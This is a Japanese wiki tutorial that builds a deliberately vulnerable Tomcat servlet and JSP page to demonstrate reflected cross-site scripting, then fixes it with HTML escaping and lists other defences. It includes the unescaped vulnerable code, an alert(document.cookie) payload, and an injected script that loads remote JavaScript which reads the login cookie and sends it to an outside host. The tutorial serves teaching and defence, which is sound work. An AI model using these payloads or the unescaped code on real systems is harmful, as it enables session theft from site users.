Tomcatでクロスサイトスクリプティングの脆弱性があるアプリを作成して、クロスサイトスクリプティングを体験、それからクロスサイトスクリプティング対策を実施するサンプルです。

■目次

まずは脆弱性のあるサンプルソース

xss.jsp
<%@ page language="java" contentType="text/html; charset=UTF8" pageEncoding="UTF-8" %>
<html>
 <head>
   <title>Xssサンプル</title>
   <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> 
 </head>
 <body>
 名前:<%= request.getAttribute("name") %><br>
 内容:<%= request.getAttribute("content")  %>
 <hr>
 <form action='<%=request.getContextPath()+"/xss"%>' method='GET'>
   お名前:<input type="text" name="name" value=''><br>
   内容:<textarea name="content"></textarea><br>
 </form>
 </body>
</html>

Xss.java
import java.io.*;
import javax.servlet.*;
import javax.servlet.http.*;

public class Xss extends HttpServlet {
 @Override
 protected void doGet(HttpServletRequest req,
 HttpServletResponse resp) throws ServletException,
     IOException {
   // JSPに渡すパラメータ
   req.setAttribute("name", "");
   req.setAttribute("content", "");

   // クッキー設定
   resp.addCookie(new Cookie("userid", "hogehoge"));
   resp.addCookie(new Cookie("xss", "sample"));

   RequestDispatcher disp = req.getRequestDispatcher("/jsp/xss.jsp");
   disp.forward(req, resp);
 }

 @Override
 protected void doPost(HttpServletRequest req,
 HttpServletResponse resp) throws ServletException,
     IOException {
   // パラメータを処理
   req.setCharacterEncoding("UTF-8");
   String name = req.getParameter("name");
   if (name == null) name = "";
   String content = req.getParameter("content");
   if (content == null) content = "";
   content = content.replaceAll("\n", "<br>");

   // JSPに渡す
   req.setAttribute("name", name);
   req.setAttribute("content", content);

   RequestDispatcher disp = req.getRequestDispatcher("/jsp/xss.jsp");
   disp.forward(req, resp);
 }
}
web.xml
<?xml version="1.0" encoding="ISO-8859-1"?>
<web-app xmlns="http://java.sun.com/xml/ns/javaee"
 xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
 xsi:schemaLocation="http://java.sun.com/xml/ns/javaee
                     http://java.sun.com/xml/ns/javaee/web-app_3_0.xsd"
 version="3.0">
 <servlet>
   <servlet-name>xss</servlet-name>
   <servlet-class>Xss</servlet-class>
 </servlet>
 <servlet-mapping>
   <servlet-name>xss</servlet-name>
   <url-pattern>/xss</url-pattern>
 </servlet-mapping>
</web-app>



サンプルの説明

  • なんの変哲もない、画面からの入力をまた画面に表示する「掲示板もどき」なサンプルです。
  • /xxx にアクセス(GET)するとクッキーに userid を設定します。
    • クッキーに userid が残っていればログイン中という判断
    • userid のルールはアルファベットの大文字小文字と 0 から 9 の数字とする。
  • 名前と内容を入力して送信(POST)すると名前と内容をJSPに表示します。

このサンプルを普通に使うと以下のようになります。
※submitボタンを省略しているので、名前のテキストボックスでエンターを押すとフォームの内容が送信されます。
Before


After

ダメなところ

このサンプルの良くないところは、以下のパラメータを処理してJSPに渡す部分です。
   // パラメータを処理
   req.setCharacterEncoding("UTF-8");
   String name = req.getParameter("name");
   if (name == null) name = "";
   String content = req.getParameter("content");
   if (content == null) content = "";
   content = content.replaceAll("\n", "<br>");

   // JSPに渡す
   req.setAttribute("name", name);
   req.setAttribute("content", content);
教科書的に言えば、ここでパラメータの文字列から「<」「>」「&」「"」「'」の5種類をサニタイジングする必要があります。
ですが、今回のサンプルはまず脆弱性の体験が目的なのでサニタイジングは省略しています。
※厳密に言うと、クッキーに保存した userid でログインしていると判断するのも危険ですが今回は無視してください。




クロスサイトスクリプティングをやってみよう1

まずは以下のように内容に「<script>alert(document.cookie)</script>」と入力してみましょう。このスクリプトは、クッキーの内容をダイアログに表示するスクリプトです。


はい、サニタイジングしてないので見事にスクリプトが動作してクッキーの内容が表示されました。
※クッキーはローカルに保存されるので、このようなスクリプトを使わなくても確認できます。
内容から、 userid がログインに使うIDだとわかるので、これを盗むスクリプトを動作させてみましょう。




クロスサイトスクリプティングをやってみよう2

次は以下のスクリプトを打ち込んでフォームを送信しましょう。
<script>var tag = document.createElement("script");tag.setAttribute("src","http://www46.atpages.jp/chapati/xss/sample1.js");document.getElementsByTagName("body").item(0).appendChild(tag);</script>
以下のようなダイアログが表示されればXSS攻撃成功です。
上記のスクリプトは、攻撃者が用意したスクリプト「http://www46.atpages.jp/chapati/xss/sample1.js」を実行させるものです。
http://www46.atpages.jp/chapati/xss/sample1.jsの中身は以下のようになっています。
// クッキーからログインIDを抜き出す
var userid = document.cookie.match(/userid=[a-zA-Z0-9]+/).toString().substring(7);
// 攻撃サイトのURLにログインIDを追加し攻撃URLを作成
var url = "http://www46.atpages.jp/chapati/xss/" + userid;
// スクリプトタグを作成
var tag = document.createElement("script");
// src属性に攻撃URLを設定
tag.setAttribute("src",url);
// bodyタグにスクリプトタグを追加
document.getElementsByTagName("body").item(0).appendChild(tag);
 このスクリプトは、コメントにもあるとおり、クッキーからログインIDを抜き出し、ログインIDをURLに追加して攻撃者の用意したサイトにアクセスさせます。
今回のサンプルでは、ログインIDは「hogehoge」なので、「http://www46.atpages.jp/chapati/xss/hogehoge」にアクセスが発生すれば、攻撃者はURLからログインIDを取得できてしまいます。
※今回は「XSS攻撃成功!」と表示するスクリプトを埋め込んでいますが、実際に攻撃されたときはそんなダイアログはでません。

 クロスサイトスクリプティングの脆弱性があると、悪意のある javascript をいとも簡単に実行できることがお分かりいただけたでしょうか?
 今回はクッキーの情報を盗むスクリプトですが、javsscriptを自由に実行されるとHTMLの中に書いてある情報全てを好きなだけ盗むことが可能になります。利用者の個人情報が表示されたページに、悪意のあるスクリプトを埋め込まれれば、もちろん個人情報だって盗めてしまうのです。



クロスサイトスクリプティング対策をしてみよう

 今回のサンプルの脆弱性は、入力された文字をサニタイジングしないで表示していることです。ですから、サニタイジングを実施すればクロスサイトスクリプティング攻撃は成功しなくなります。
 以下のソースコードが、サニタイジングを実施したサンプルです。
Xss.java(対策後)
import java.io.*;
import javax.servlet.*;
import javax.servlet.http.*;

public class Xss extends HttpServlet {
 @Override
 protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException,
     IOException {
   // JSPに渡すパラメータ
   req.setAttribute("name", "");
   req.setAttribute("content", "");

   // クッキー設定
   resp.addCookie(new Cookie("userid", "hogehoge"));
   resp.addCookie(new Cookie("xss", "sample"));
   
   RequestDispatcher disp = req.getRequestDispatcher("/jsp/xss.jsp");
   disp.forward(req, resp);
 }

 @Override
 protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException,
     IOException {
   // パラメータを処理
   req.setCharacterEncoding("UTF-8");
   String name = req.getParameter("name");
//    if (name == null) name = "";
   name = escapeHTML(name);// ★★★ 修正点 ★★★
   String content = req.getParameter("content");
//    if (content == null) content = "";
   content = escapeHTML(content);// ★★★ 修正点 ★★★
   content = content.replaceAll("\n", "<br>");

   // JSPに渡す
   req.setAttribute("name", name);
   req.setAttribute("content", content);

   RequestDispatcher disp = req.getRequestDispatcher("/jsp/xss.jsp");
   disp.forward(req, resp);
 }
 
 //★★★ 修正点 ★★★
 public static String escapeHTML(String val) {
   if (val == null) return "";
   val = val.replaceAll("&", "& amp;");
   val = val.replaceAll("<", "& lt;");
   val = val.replaceAll(">", "& gt;");
   val = val.replaceAll("\"", "&quot;");
   val = val.replaceAll("'", "&apos;");
   return val;
 }
}

 修正点は「<」「>」「&」「"」「'」をそれぞれ「& lt;」「& gt;」「& amp;」「"」「'」に変換する関数「escapeHTML」を追加したのと、「name」「content」パラメータを escapeHTML でサニタイジングしていることです。※wikiの表示の都合で & の後に半角スペース入れています。
 この修正を加えたサンプルで、再びスクリプトを入力してみると以下のような画面になります。
 スクリプトが実行されず、そのまま画面に表示されていれば、クロスサイトスクリプティング対策成功です。

その他のクロスサイトスクリプティング対策

 クロスサイトスクリプティングの対策には、大雑把に以下の様なものがあります。今回対策したのは、この中の「ウェブページに出力する全ての要素に対して、エスケープ処理を施す。」に過ぎません。他の対策については折をみて記事を追加していこうと思います。
  • HTMLテキストの入力を許可しない場合の対策
    • ウェブページに出力する全ての要素に対して、エスケープ処理を施す。
    • URLを出力するときは、「http://」や「https://」で始まるURLのみを許可する。
    • <script>...</script>要素の内容を動的に生成しない。
    • スタイルシートを任意のサイトから取り込めるようにしない。
    • 入力値の内容チェックを行う。
  • HTMLテキストの入力を許可する場合の対策
    • 入力されたHTMLテキストから構文解析木を作成し、スクリプトを含まない必要な要素のみを抽出する。
    • 入力されたHTMLテキストから、スクリプトに該当する文字列を排除する。
  • 全てのウェブアプリケーションに共通の対策
    • HTTPレスポンスヘッダのContent-Typeフィールドに文字コード(charset)を指定する。
    • Cookie情報の漏えい対策として、発行するCookieにHttpOnly属性を加え、TRACEメソッドを無効化する。
最終更新:2013年11月06日 00:45